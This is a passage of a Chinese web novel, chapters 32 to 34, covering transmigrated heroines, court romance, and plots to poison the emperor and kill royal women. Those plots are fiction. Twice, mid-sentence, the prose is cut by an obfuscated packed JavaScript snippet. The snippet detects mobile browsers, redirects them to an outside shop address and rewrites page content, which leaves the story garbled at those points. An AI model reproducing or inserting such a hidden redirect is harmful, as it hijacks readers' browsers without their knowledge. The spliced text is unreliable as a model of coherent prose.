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“哼……”陈长行闷哼一声,面上还带着淡淡的粉,初经人事,被这样触碰显然有些不适应。 玉雪倾勾起唇角,贴在他耳边故意将热气都喷在他脖颈上,“感受到我的真心了吗?” “感、感受到了……” 陈长行僵硬着,理智飘到九霄云外,眼神顺从的跟着玉雪倾摇晃,任凭她肆意挑逗。 这样的程度对于陈长行来说明显过头了,玉雪倾抚摸着他的腰肢,趁其不备,猛掐一把。 “呃啊!!”陈长行似惊醒的兔子,浑身一颤,光芒重回眼底,推开玉雪倾窜进塌里用被子裹住下半身。 “哈哈哈,”玉雪倾被他这副模样逗笑了,咳了咳,义正言辞道:“该吃中饭了,姨母在等我们。” 陈长行又羞又臊,整个人红的不成样子,不明白玉雪倾为什么能这样游刃有余。他点了点头便将自己埋进被子里,只敢用余光送玉雪倾离开。 门外,玉雪倾站在院中才发觉自己颤抖,身体兴奋的停不下来,眼前全是陈长行意乱情迷的模样。果然,色是刮骨道啊。 她晃了晃脑袋发觉没用,索性就地打坐,念起清心咒。 入夜,一道黑色身影在蓝溪阁周围乱窜。房顶,两道白影紧随黑影之后,三人你追我赶,须臾,黑影丢下个烟雾弹便消失的无影无踪,待浓雾散去,地上仅有一个布包。 “不必追了。”千里逢将一切尽收眼底,下令道。 两道白色身影闻言齐声道:“是,公子。” 布包被交到千里逢手中,里头隐隐透出血腥味儿,千里逢迟疑片刻将其打开,发觉里头躺着只凤头金簪,下面垫着的是他近日与菱角的通信。 千里逢拿起隔着布拿起金簪瞧了瞧,上头沾着层干涸的血迹,想必菱角已然遭遇不测。 “蠢货,”他一扬手,嫌弃的将金簪扔的老远,“做事不干净,活该死了。真是可惜了我多年的培养。” “公子,是否要再安插人进去。” “不必了,眼下国公府已有察觉,今夜的布包就是警告。过段时日再说吧。” “是。” “莺歌。” “公子我在。” “替我给司马先生捎个信,说我三日之内会去书林登门拜访。” “是。” 32. 风月赋 二 重明馆,千里撼与钱双双相顾无言,半晌,钱双双道:“我好像找到回家的方法了。” “回现代吗?” “是的!我的手机、我的网络、我的游戏、我的薯条炸鸡!”钱双双说着,流出了口水。 “怎么回?等等,你是怎么找到的?” “其实还不太确定啦,不过云州你知道吧?” “知道,崇和关外云七洲,不过如今已被夷人宵小吞了。” “Bingo!就是崇和关,关外云州西三百里处有片沙漠叫丹哲。据传丹哲沙漠里头有一汪清泉会追日月。古籍记载‘曾有一复姓方士随泉日行数千里,消失十二年,归来如初,后人称其名百际’。” 千里撼思索道:“百际泉?好像有听说过,我还以为都是些志怪故事,没想到真存在。” “起初我也是当志怪故事听,可我越听越觉得熟悉,”钱双双拉过千里撼认真道:“你还记不记得自己刚穿过来发生的事了?” “我当时一睁眼发现自己小了好多,身边都是白茫茫的雪,”千里撼不自觉皱起眉头,努力回忆着,可怎么也想不起来,只有些片段记忆,“后来好像走了一会儿就到相府了。” “欸?我当时醒来是在沙漠啊。我很清楚的记得当时我就躺在一片黄沙里,好像天快要黑了我又走不出去,于是倒头就睡。第二天再醒过来的时候就在京城了,然后就遇到了你。” “沙漠?你怎么会在沙漠的,况且若真如你所言,丹哲沙漠与京城相隔甚远,你怎么可能凭一己之力走出来?” 钱双双急忙道:“问题就出在这儿啊!我根本不可能自己从沙漠走到京城,但我又确确实实的记得自己身处沙漠。我就是因为这个才把你叫过来,只是没想到你居然不是和我一个‘复活点’。” 沙漠…… 千里撼似乎有些印象,可她分明没去过,钱双双和她同时穿越,为何情况会差这么多。 “不对!”钱双双忽然大叫,吓了千里撼一跳。 “又怎么了?” “不对啊老大,我记得咱们刚穿越的时候虽然冷但完全没下雪,你是不是记错了?” 千里撼:“没有啊,我的确是躺在雪上,周围白花花的一大片,软乎乎的……” “可这说不过去啊,咱俩相遇前后就隔了一天,为什么记忆会差这么多?”钱双双试探着猜测,“会不会是你当时看到了什么白色的东西,印象深刻就给混淆了?” 白色,印象深刻…… 千里撼思索着,神色凝重,最后实在想不出:“算了,我记不得了。你接着说丹哲沙漠吧。” “哦,好吧,”钱双双有些失望,但并未在意,继续道,“其实我从刚穿越来就在找回去的方法,这个丹哲沙漠我早些年就派人打探过,没什么特别的。不过前段时间突然有人说百际泉出现了,我查阅资料发现这东西上一次被传出现刚好就是我们穿过来的日子,之后我就派人去找,你猜怎么着?” “找到了?” “不不不,”钱双双晃了晃食指故作神秘道,“我找的是当地人,他们都异口同声的说百际泉会‘吃人’。” “这是什么意思,淹死的另一种说法?” “我也奇怪啊,后来问了才知道,在那帮当地人口中百际泉不叫百际泉,叫‘楼特斯’意为莲花。他们说楼特斯是无数朵莲花长在百际泉里,这些莲花可以随意伸长,将人吃进肚子,带到任何地方。” “哦,”千里撼认真的点点头道,“听起来像高铁。” “啧!”钱双双挺直腰板训斥道,“好好的传说到你嘴里怎么就成了交通工具,认真听讲!” “哦哦好。” “呃,”钱双双顿了顿发现要说的都已经说完了,于是有些尴尬道,“那什么,讲完了。总而言之就是这么个故事,我觉得这个什么楼特斯就是咱们回家的关键,怎么样,兴不兴奋!”钱双双说罢,兴高采烈的摇了摇千里撼的肩膀。 “啊哈哈……好耶!”千里撼缓缓目移,咧唇敷衍道。 “干嘛!这可是我好不容易才找到的线索,你怎么一点都不高兴啊?”钱双双赌气的撅起了嘴巴。 “没什么,挺高兴的,”千里撼紧急为其顺毛,解释道,“不过我在担心其它事,恐怕就算你真找到一时半会儿也走不了。” “担心什么,”钱双双不解道,“等我找到什么什么斯,咱俩就能回家了!谁要在这破书里待着,干嘛担心那些虚拟的东西啊。老大,你不会陷进去了吧?快点分分清现实与虚幻啊!” “呵,”千里撼不自觉笑出了声,“你倒真是想得开,怎么一听回家就什么都不管了,你那些个‘亲爱的’也不要了?” “要他们干嘛?”钱双双耸了耸肩无所谓道:“真真假假我还是分得清的,我和他们是两个世界的人,本就是各取所需,他们要我的资源生存,我要他们的情感调剂,打从一开始我就不会倾注真情,没什么好挂念的。即便有些真情,但也不纯,硬说是爱就更滑稽可笑了。我大可以因此哭闹犯傻,但过后清醒了,我得明白哪儿是火坑哪儿是正道。况且比起他们,貌似还是我妈更重要吧。” “很聪明。” “当然了,”钱双双得意的晃了晃脑袋道,“而且就算我们回去了你也不用担心玉雪倾,我到时候把原稿发你,剧情你想怎么改就怎么改,然后我再把你给署名上,这本书就算咱俩写的了!我真是个天才!” “还是算了吧,”千里撼摇摇头推辞道,“你写那玩应儿还是别把我署名的好,我怕被砍。” “不要!咱俩都是一起穿越的人了,怎么说也是过了命的交情,我死也要缠着你!呕呕呕!”钱双双学着吊死鬼的模样逗起千里撼。 “哎呦呦!丑死了丑死了,哈哈哈哈哈!好了,你先找到楼特斯再说吧,我还有事呢。” “哦!这么快就要走,你最近好忙啊。” “是啊,”千里撼叹了口气掐了掐钱双双的脸蛋道,“都是托了你的福啊。” “嘿嘿……”钱双双有些不好意思的挠了挠头,不再拦着千里撼,目送她骑马离去。 千里撼身形伟岸,俊秀非凡,刚好长在钱双双的审美点上,看着她的背影钱双双时常会不自觉冒出“星星眼”。 早在写《困雪晴》时她对千里撼这个角色着墨不多,只是炮灰而已,外貌描写更是没有,不过自从高肃穿进来,千里撼的脸就越长越像高肃原本的模样了。 钱双双摸了摸自己的脸,这幅身体原属于一无名胡姬,这些年下来也愈发像她自己了,导致她每次一照镜子就想家,主要是因为她长得像妈妈。 说起来她和千里撼虽然很熟,却知之甚少,比如千里撼本名叫高肃,还有她其实要比钱双双大个四五岁,除此之外便没什么了,高肃总是不会提起太多。 千里撼回去后叫了水沐浴,靠在木桶里她久违的放松下来,眼下乌青渐消,前几日的疲惫一扫而空。 雾气升腾模糊视线,她愣愣的盯着房梁将自己放空,滚热的水没过身躯,千里撼突然觉得自己变了许多。今日钱双双说起回家,她脑子里首先不是喜悦,而是担忧,眼前一瞬间略过了无数身影。 钱双双看似天真愚蠢实则聪明残忍,能抛下一切一走了之,而她恰好与钱双双相反。就像钱双双所说的,她貌似真的“陷进去了”。 大魏…… 这个明明白白虚构的世界给了她太多真实的体验,权力、金钱、亲情,她几乎已经和这里融为一体,操心着储君之位,安排着春秋大业,就好像这个世界没了她就会停止运转。 可实际呢? 千里撼不敢深思,默默闭上双眼,任凭热水漫过头顶,在短暂的窒息中感受自己的存在。 “咚咚!”燕儿轻声叩门道:“郡主要我进去搓背吗?” “不必了。” “好。对了郡主,方才姑爷来过,他见你不在便走了。” “好。” 千里撼重新钻进水底,脑中浮现闻武的面容。 他貌似偏喜欢夜里来寻她。也是,他的皮肤还是少见光的好,夜里活动确实方便些。 只是,不方便就可以不来吗? 水面冒出几个泡泡,千里撼在低下蜷缩着不愿上来,等到了极限才冲出水面缓了口气。 她洗好后披了件衣裳便将闻武叫来道:“听说你方才找我?” 闻武解释道:“不算什么大事,是来告知家主病情好转的。怕打扰郡主,分明已经叫燕儿姑娘不必说了。” “燕儿属于我,也只会听我的话,”千里撼为闻武摆了只酒盏,“既然来了,陪我喝一杯吧。” “也好。” 屋内只有他们二人,千里撼方才沐浴完,换了身宽松的素色单衣,黑发随意披散着,发尾还有一点水渍,花瓣的香气掺杂着熏香一股脑儿的往闻武鼻子里钻,惹人神往。 他端起酒杯不动声色的抿了一口,将那股怪异的感觉压了下去。 “我前几日上朝遇见了你姐姐,闻之元。她很是挂念你。” 闻武低声笑了下,道:“大姐还是如从前一般,宅心仁厚。” 千里撼:“或许是吧,我与她初次相见,她却对我颇有敌意,许是我在外名声不好引人误会。不过她倒也是个敞亮人,三句不到便问‘十三郎如何’,我说你很好,她的态度倒也缓和了。” “大姐心直口快,若有冒犯之处,还望郡主见谅。” “冒犯什么,都是一家人,”千里撼碰了下闻武酒盏,叮当作响,慵懒的靠在太师椅上闲聊,“她同我说了你许多旧事,我站在那儿听着,猛然发觉我竟一点都不了解你。” “郡主从什么时候开始对我感到好奇了呢?”闻武看向千里撼道。 “无时无刻。”千里撼回望闻武,两道视线紧紧纠缠在一起,虚空中仿佛有着某种碰撞碎裂的声音。 千里撼:“我的问题太多,有些是关于你,有些则是关于我自己。关于你的,我可以询问,哪怕有些是你无法回答的,但总有一部分你答得了。可我自己呢,我有时也不明白我自己。” 闻武:“答案看似是解脱,实则是枷锁。蜀中有雀谷人,立誓要到天地尽头处去,僧人说她愚迷,圣人说其妄想,然雀谷人一走四十余载无归期,至今不知其何处。雀谷人毋庸置疑的踏上了寻找答案之路,但就连无知小儿也明白她终其一生都走不到天地尽头,可她只笑笑,说:人有寿于自然,枯骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292902|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白鹤笑谈,今我向南去,虽死无悔。然我顾北,亦复终焉。” 闻武将问题悄无声息的抛回给千里撼,“所谓南北,不过选择而已。是死在答案里,还是死在答案中,郡主以为呢?” “这要看心性,”千里撼拄着脑袋叹了口气,“真正重要的不是天地尽头,而是怎样过这一辈子。庸庸碌碌是六十年,轰轰烈烈也是六十年,并无高下之分。雀谷人向南是她看破了世俗想闯出去,这是出世,可没人规定在北就不能出世。” “上古有黄姜女,修行一世飞升在即,然其故国遭难,民不聊生。黄姜女已属天道却反其道而行之,自废修行,降减为民,重建故国三十年。待故国兴复,黄姜女已苍苍白发,然其重头修行,再度飞升,得上上之道。黄姜女此行三遭,出世、入世、再出世。不入世者磨心性则难出世,已出世者俱入世则不算出世。雀谷人只走了头一遭,却忘了,在北,也属修行。” “郡主此言,是要效黄姜女,得大自在?” 千里撼无奈笑了下,“我只是个潇洒俗人,远没到出尘的地步。倒是十三郎,几番迂回从不回答我的问题,叫我该如何是好呢?” 闻武一怔,放下酒杯道,“郡主想知道些什么呢?” 千里撼猛灌了口酒,她没敢看闻武,只盯着手中酒盏把玩,“我想听你说过去,你的过去。” “大姐不是已经同郡主说了吗,没什么稀奇的。”闻武神色淡淡道。 “她是她,她只看过你,没成为过你。这世上许多事仅凭一双眼睛是看不透的,更何况我想要的是你来说。” 杯子在闻武掌心被勒紧,他默默咬紧牙关,强行平复心中的异样,眼里尽是冷漠,呼吸也开始急促起来,“郡主以为夫妻之间当如何?” “真心相对,以诚相待。”千里撼毫不犹豫道。 “这也对,但不绝对。世人多向往一见钟情,认为缘分天定,却不知年华七载做一刃,再怎么痴人情深,也难抵岁月之刀凌迟。情不堪赌。若相看两厌倒也还好,怕的是有人苦海深陷,有人花开三春,终是同床异梦,妻夫离心。与其这样,倒不如苦海回身,早悟兰因,任凭落花流水,只相敬如宾。” “你是这样想的吗,”千里撼默默咬住下唇,硬生生从上头撕下一块皮来,“照你这么说,情不叫情,该叫关照。爱不叫爱,该叫体面。” “未尝不可,”闻武轻笑一下道,“情深不寿,痴者必疑。可以有情,却不必深情,这才是长久之道。” “哈!好一个长久之道。”千里撼突然笑了,笑的双肩颤抖,原来在他心里自己跟物件没什么区别,只要拥有了,就好了,“闻武,你说的那个不叫情,叫病。” 酒杯在她掌中破碎,鲜滴落膝头,待闻武冲过来取下她掌心碎片时千里撼才意识到自己把杯子硬生生捏碎了。 “郡主快松手,莫要再用力了!” 闻武双眉紧蹙,指尖微微颤抖,眼里的慌乱不像假的,可千里撼却觉得心寒。他们离得那么近,很多次她几乎快要触碰到他,可闻武只要别过眼神或是站在原地就能让她后退。在闻武的世界,不主动就是在拒绝,可他又偏偏在纵容她,引诱她,推开她。 他想要她的喜欢,但不想要的那么多。 这要如何才能做到? 不对,是必然做不到。 “……你讨厌吗?”千里撼面无表情的俯视着闻武,没头没尾的问了一句,漆黑的发丝缠住她,像两道珠帘将世界隔绝在外,罩住了闻武。 闻武手上动作一顿,拐着弯儿回答道:“是,十三郎讨厌郡主流血受伤。” 千里撼厌了,抬起手猛的钳住闻武下颚逼视他,几乎算是质问,“我问的是你在讨厌我吗?” 这个“我”字咬的很重,她迫切的想要一个答案。 闻武半跪在她面前,雪丝垂地,如玉般嫩白的脸上很快便被千里撼掐出道红印,烟紫色的眸子上结了层冰,他被迫仰头看着千里撼,一呼一吸间眼底悄悄染上一抹红,良久,他终于开口,声音结成了冰,“不行吗。” 道道猩红顺着千里撼小臂滑下,千里撼嘴唇轻颤,像被打了一拳。 她受够了。 千里撼闭上双眼颤抖着松开闻武不再看他,这一夜,闻武只说了一句真话。 闻武想要的她给不了,她想要的闻武也未必给的了。只是他说的话,做的事都太理智,就像他说的,有情,却不深情。 所以,方才他焦急的神情,颤抖的指尖,眼底的浅红都不是深情。 但就算这样,她还是可耻的陷了进去,甚至祈求更多,不厌其烦的敲着门。 长发遮盖了千里撼的情绪,她颓废的盯着足尖,几乎是在命令,“走。别让我说第二遍。” 碎瓷片嵌在千里撼掌心,殷红的伤口像道天堑将她的手掌分成两段,闻武盯着那道伤口并不言语,快速地将瓷片取下,又扯了块袖口白布为其围上便匆匆离去,从始至终没看千里撼一眼。 房门重重关上,屋内灯火骤熄,闻武知道,这是千里撼在赶他。左手猛然一痛,闻武看了眼,发觉是那块碎瓷。 吃了千里撼的血不够还要吃他的血吗? 可是怎么办呢,他不想流血。 33. 风月赋 三 晨起人多,大都行色匆匆为谋生计,京城则更甚,二十四条长街交错,人烟稠密,熙攘奔波。 一架马车缓缓停在东四木街,车帘拉开,从中钻出双锦纹长靴,靴底一尘不染,那人身披狐裘,神色冷清,耳环相撞叮当作响,面中一滴血痣,俨然一副世家公子模样。 “东四木街,三十三号……”千里逢默默数着,终于停下脚步。 幽幽檀香扑面,里头已然汇集不少文人,千里逢仰头查看,只见一块红木大匾,上头赫然写着“三戒火斋”四个大字,大门两侧对联则是出自《法华经》的“开权显实,会三归一”。 书林共三层,下两层向众人开放,第三层则为私人书斋,千里逢站了一会便有小厮前来询问,“公子可是约了人?” 那小厮杏眼桃腮,不过十三四岁的模样,却难得的机灵。千里逢点点头,拿出玉佩给他瞧了眼,小厮一见玉佩,毕恭毕敬的请道,“小人带贵客上三楼。” 书林门脸不大却暗藏玄机,里头藏书众多,二层虽然空荡却一尘不染,想必是还没到开放时候。千里逢行至二层便听见阵阵琴音,他只身前来,跟在小厮后头,一直走到三层尾间才停下。 小厮敲了敲门道:“先生,贵客已到。” 琴声渐停,里头传出道慵懒男声,“请进。” 木门咧开道缝隙,小厮做了个请的手势,便自觉退后。 千里逢跨入门内发觉琴声又起,身后房门悄然关闭,屋内纱幕扬起,摆动间,一道人影浮现。 那人盘膝置于窗前,桌上摆着把红漆绿绮琴,轮锁拨刺搓,动则音变。 千里逢行揖礼道:“晚生铎远,拜见烨先生。” 那人并无动作,自顾自弹琴。良久,一曲《龙山雪》毕,那人才出声道:“公子来此何谋?” “权。” “呵呵,”那人突然笑起来,拂袖离开古琴点了支香道,“持而盈之,揣而锐之,欲多则祸临,公子凭什么认为自己拿的住?” 千里逢道:“以之至柔,骋之至坚。受国之垢,谓社稷主,受国不祥,为天下王。我当自比水,以柔克刚,行上善之道。” “也好。” 终是得到应允,千里逢直起背来穿过纱帘准备一探庐山真面,相传烨先生本是贵族,奈何家道中落,后流亡于江湖,辗转拜师亘山麒鬼,学得一身本事。 烨先生行踪不定,传闻上次现身是在北疆,不久后北疆斛瑟罗一族覆灭,新王登顶。然其作为谋士却分文不取,只要一诺,自此之后又无影无踪。 拥有这般经历,他本以为烨先生会是白须老者,不想竟是少年。 千里逢坐到烨先生对面,桌上古琴不知何时被取下,他接过一杯热茶细品,热气升腾间千里逢终于有机会看清这个人。 此人发色极深,似妖似鬼,唇角一点黑痣,眼珠同眉发一般漆黑,若深渊巨口,惹人心悸。好在面目过柔,润而温软,刚好中和其浓眉长眼,削邪气,增秀雅。 千里逢瞥见其身上紫红锦袍,发觉绣的竟是山鬼狌狌,不自觉打了个冷战,再往上瞧其发冠,此冠样式奇特,通体为银,窄而高长,上头篆刻古字经文,将其墨发半束,像极了方士。 该说不愧是师从麒鬼吗,这般穿着打扮的确仅此一家。 像是感受到千里逢打量的眼神,那人率先开口道:“鄙人复姓司马,名龙腾,江湖人士。公子赏脸来书斋,在下自当以诚相待,只是想必公子也很奇怪为何会被我找上吧。” “正是。” “请公子伸手。” 千里逢将信将疑的将左手伸了出去,司马烨掏出银针飞快在其腕上刺了七下,血滴溢出,他浅笑一下道,“我果然没看错,你身上有条龙脉。” “什么?!” 千里逢不可置信的捧着手腕,发觉七个血点刚好呈北斗星象,皮肤下隐隐有条紫色痕迹蜿蜒与血点之下。 “帝者,持龙脉,得凤骨,孕天地正气。鄙人师从麒鬼,懂些方术,那日偶见公子便觉异常,如今再看,我感觉的没错。” 千里逢捂着胳膊,全身骨头都在颤抖,这是龙脉,他有龙脉!他有皇命,有帝相!在这世上能被麒鬼后人找上的不多,能被其辅佐的更是少之又少,而他千里逢尽占,这就是天命! 相传白虹降世,大雨连灌三日,电闪雷鸣,万鸟朝凤,百里之内开花结果,粟谷蒂落。那是真天命者,持龙脉号令众生,塑凤骨涅槃成圣,渺渺兮浩然正气可吞天地。自那之后凡有此三样宝物者,持一有帝相,持二乃天命,持三可担天地共主,谓之——人皇。 心脏在胸膛中猛烈跳动着,千里逢强压下心中喜悦,哑声道,“先生意思是,这天下,我也能争一争?” “持龙脉者皆可争,”司马烨笑看千里逢迫切模样不紧不慢的泼冷水道,“不过龙脉常有,凤骨却不常有,正气则更稀。龙脉仅是入门贴,公子若只求权,简单。若求皇权,难如登天。” 千里逢当即起身行大礼道:“先生既来寻我,必有所定夺。铎远愿奉先生为上宾,只求先生指点一二,它日若得江山,必有先生大功!” “哈哈哈哈哈!”司马烨见其如此顿时大笑起来,“和聪明人说话就是爽快。” 他扶起千里逢,“方才在下不过试探一二,见公子胸有大志便放心了。实不相瞒,鄙人虽见过龙脉无数,但都没有公子这条气足。” “龙脉以长者佳,凤骨以灼者名,正气浩浩,似有而无,以大隐者显。公子想取天下,需先蛰伏。” “先生的意思是?” “真龙隐于麒麟之后,待时而发。” 千里逢瞬间明了司马烨的意思,所谓麒麟,是为龙子,也就是白圣孺。 他千里逢的天下要靠白圣孺来打。 见千里逢心中有数司马烨也不多说,又提点一句,“正气难寻,古今帝者多无。公子若有雄心,当今首要任务是寻凤骨,三者持其二,则天下尽入囊中。” “多谢先生提点,只是这凤骨长什么样,要怎么找,找到又要如何取?” “凤者涅槃,骨隐于耳后似火烧,其相不显,其人郁郁,多出元女。公子寻凤骨可寻女子皇族,至于取骨,”司马烨眼神暗了暗道,“有形者斩之,若要夺骨,必得亲手杀了那人。” 女子皇族,莫非是白笑孔? “敢问先生,在位者可有凤骨?”千里撼问道。 “呵呵,龙脉瘀堵,凤骨纹裂,聊胜于无罢了。”司马烨神色轻蔑,毫不在意,像是已然看到白笑孔的死相,他道,“公子切记,宁可错杀,不可放过。” 是啊,宁可错杀,不可放过。千里逢眼眸低垂,恶向胆边生,冷峻的脸上浮现出淡淡杀意,自古成大事者难□□血,既然龙骨多出于皇族女子,他便屠了白姓一脉,如此总能得骨。 他像一块东倒西歪陶土,偶然被司马烨遇见,塑造。所谓玉不琢不成器,看着千里逢沉思的模样,司马烨满意的点了点头,这才是他要找的,是够能颠覆一切的王者。 这个绵延数百年的王朝已经摇摇欲坠,而他,司马龙腾,作为“神眼”会代替天道寻找一位新王,斩断白虹的旧根,剑指天地,创造新的世界。 至于腐朽的一切,它们的血是洪荒的祭品,大魏,就是祭坛。 “啊!啊啊!!” 一只乌鸦停在窗前,司马烨瞧了眼便下逐客令道:“时候不早了,书斋不便久留,公子该走了。” “啊,晚生拜别先生。”千里逢毕恭毕敬道,间隙不动声色的瞥了眼那只乌鸦。 乌鸦尾羽上有一点金粉,这种粉末并不多见,须得贵族家中常备。 待千里逢走后司马烨歪头看向乌鸦,点了点它的喙道:“又看见什么了,小桑林?” 乌鸦漆黑的眼珠与司马烨一般无二,它抖了抖身子,歪歪头看了看司马烨,随即转身飞往东南。 司马烨怜爱的看着乌鸦,在他眼中,桑林的羽毛是这世上最绚烂的东西,乌鸦有苍龙之形,他坚信这是龙的颜色,并无比感恩上苍赐给他这双“神眼”。 鸦羽落地,沾着一点金粉稳稳落到千里撼肩头,她捏着根糖葫芦正吃的快活,全然没意识到身后那道炽热目光。 “桑林,你看到什么了?” 司马烨站在暗处观察着千里撼,漆黑的眼珠一眨不眨,桑林落在他肩头也在看千里撼。 在这个女人身上,司马烨嗅到了草木之气,还有股隐隐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292903|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火药味儿,他试着用眼睛看,却看不出任何异常,其人与寻常庸人无异,但与千里逢气息相通。 难不成也有龙脉? 一驿卒策马疾驰而过,司马烨看准时机射出银针刺入马颈,那匹马顿时扬起前蹄痛苦嘶鸣,驿卒大惊,赶忙勒紧缰绳,可惜毫无用处,被马一把甩下。 驿卒见状大吼,“马受惊了!马受惊了,快闪开!!” 疯马口沫横飞,眼目通红,嘶鸣着朝千里撼奔来。 千里撼大惊,拿着半根糖葫芦飞身一跃跳上房顶,刚要松一口气,只见疯马毅然朝一女子冲了过去。 “啊!!” 女子大惊失色,吓的抱头尖叫,千里撼来不及思考,一个跟斗翻到马背上,抓起缰绳硬生生叫它调转方向。 “吁!!” 疯马失了神智,见背上有人便开始发癫,摇头晃脑的想将千里撼摔下,前后蓄力蹬腿,一个劲儿的狂奔。千里撼见其无药可救当即起了杀心,不想手中竟空无一物,早知道就不扔糖葫芦了! 见其走神,疯马猛的侧身回旋将她甩下,扬起一阵尘烟。 “哎我操!” 千里撼在地上滚了一圈儿,暗骂一声,爬起来继续追赶疯马。这可是闹市,放任这马跑下去指不定要伤多少人! 她猛的扯下腰带做套马杆,踩在不知谁家的的货架上飞身一跃终于追上疯马,将其套在马颈,手中紧紧攥着腰带被马拉着滑行。 “你大爷的,别跑了!” 她死死抓着腰带,一咬牙提了口气贴着疯马跑起来,一人一马越来越近,千里撼见状猛的一扑,指尖勾到缰绳,死死抓住。 这下有了借力,千里撼侧身一跃,趴到马背上,双手紧紧抓住缰绳,疯马见此高高跃起前蹄企图甩下她,甚至双足站立跳跃,千里撼被颠的糖葫芦都快要吐出来,几乎站在马背上。 一人一马交锋数次,千里撼却始终像狗皮膏药似的黏在马背,她不断拍着马颈安抚疯马,带它远离闹市。 疯马痛苦嘶鸣,近乎自毁似的发着狂。安抚间,千里撼突然摸到一个尖锐物体,她猛的抓住那东西从马颈中拽了出来。 伴随一声嘶鸣,疯马即刻恢复神智不再发狂,晃了晃脑袋长舒一口气在原地徘徊。 千里撼坐在马背,满头大汗,身上满是尘土,头发也松松垮垮的耷拉着。疯马耷拉着脑袋,像是意识到自己闯了祸,驮着千里撼缓缓往回走去找驿卒,乖的不像话,众人见此欢呼起来,自觉让行。 驿卒一把鼻涕一把泪的奔向疯马,抱住马头就开哭,“豆豆!豆豆你怎么了!我的豆豆!啊啊!!” 千里撼长舒一口气,压了压快要吐出来的糖葫芦,翻身下马道,“它没事,方才脚上踩钉子了。” “多谢姑娘!是你救了豆豆一命啊!”驿卒当即就要跪下磕头。 千里撼没理他,摆了摆手就钻进衣裳铺子买了套新衣裳,付钱时遇见了方才从马蹄救下的女子,女子一见她便脸红,不由分说的丢下锭银子给她做衣裳钱就跑了。 “哎!” 千里撼刚要阻拦,想着叫她再赔一串糖葫芦,不想竟跑的这样快。 “唉,真是世风日下啊。”她摇摇头,换上了新衣服,刚走出门就碰到个怪人。 那人眼珠漆黑,乌发粉肤,犹如山中精怪,拿着串糖葫芦盯着她浅笑。 千里撼当即起了一身鸡皮疙瘩,这人长得太怪,不能说好不好看,简直就不像人,倒像从《聊斋》里爬出来的,鬼气森森的。 “赔你糖葫芦。” 那人浅浅一笑,自说自话的将糖葫芦塞进千里撼手中就离开了,千里撼愣愣看着那人背影暗骂了声“神经病”,狠狠咬了口糖葫芦。 她想起方才那匹疯马,摸了摸袖口发觉空无一物,那根银针分明被她收了起来,难不成是换衣裳时丢了? 罢了,丢就丢了吧。 书斋三楼,司马烨随手捡起几粒玉米喂给乌鸦,“桑林啊,我们都看错了,她手上什么都没有。” 桑林歪了歪脑袋,扑棱下翅膀落到了桌上。 司马烨宠溺的笑了下,将桌上杂物扫下地给桑林腾地方,千里撼不翼而飞的银针恰好也在其中。 34. 风月赋 四 “先生,申时到了。”小厮在门外提醒道。 “知道了,下去吧。”司马烨摸了摸桑林,轻声道,“我们该去见客人喽。” 桑林:“啊啊!” 孝征王府侧门,一只乌鸦在空中盘桓不去,下人见此急忙开门。 一道紫红身不知何时立在门外,乌鸦落在司马烨肩上,巨大的斗篷遮盖了他全身,只有阵阵辛辣香气。下人们心惊胆战,不敢多看一眼,纷纷垂下头来,生怕招惹到什么。 白圣孺在屋内等候多时,一见司马烨当即起身迎接道:“烨先生请坐。” “多谢王爷。” 司马烨刚一落座便从袖中拿出七个小瓶,“王爷要的东西。” 七个小瓶颜色各异,由深至浅排列,“敢问烨先生,为何此次的药有这么多?” 司马烨笑了笑,“这七瓶毒药与从前扰人心智的药不同,是索命毒。此毒乃我独创,无色无味,任凭医仙再世也无法察觉,只要将七瓶按顺序整服,圣上必然殒命。” 黑色的瓶身光滑无比,点缀着几滴白墨,上头塞着块红布,似引吭高歌的鹤,白圣孺将其握在掌中把玩,眼前浮现出白笑孔大笑的模样,“这药该怎么用。” “从白到黑,前三瓶扰魂,后三瓶伤身,至于王爷手中这最后一瓶,则用来索命。这药有一点好处,七瓶全服才会置于死地,否则只会发疯病重,黑瓶不服则不死,最多行尸走肉。” 白圣孺勾了勾唇,思绪翻涌。一阵风将窗户吹开顺带灭了几盏烛火,周围光芒消失,白圣孺全身没入黑暗,轻声道:“多谢先生。” “臣夜观天象,发觉紫微星暗。王爷蛰伏许久,该出手了,”司马烨起身恭恭敬敬行了个大礼道,“臣司马龙腾,愿为新皇肝脑涂地!” 万事俱备,只欠东风,白圣孺睨了眼墙上那把宝剑,上头的麒麟仿佛挣扎着要爬出来,“的确是时候了,我要抢在白帝媐前头。这一次,我一定要胜过她。” 白笑孔的笑声在他耳边响起,白圣孺记得清楚,这是他与白帝媐同在文华馆时,白笑孔看了白帝媐所写文章时发出的笑声。 同样是皇子,他的文章却被丢在一边,连太傅都不愿看一眼。 二十几年,他被白帝媐压了二十几年!像个缩头乌龟似的躲豫州那个不毛之地,受尽白眼与苦楚! 疯狂鼓动的心脏快要从嘴里呕出来,舌头不安的蜷缩在齿后搅动着津液,白圣孺摸上双膝,惊觉骨头上似有上万只虫子在爬。 白笑孔还在笑,她很高,比他高得多,比整个文华馆都要高。但她的眼里从来没有他,只有白帝媐那个歹毒的疯子。 恍惚间白圣孺眼前竟出现白帝媐的脸,他一颤,猛的拿起烛台砸向白帝媐,像杀死一条虫子。血液混着□□在白帝媐四分五裂的脑袋里流淌出来,真是畅快极了! 他刚要庆祝,却瞧见一个身影,一个极其高大的身影。 是白笑孔!她在看着他!! 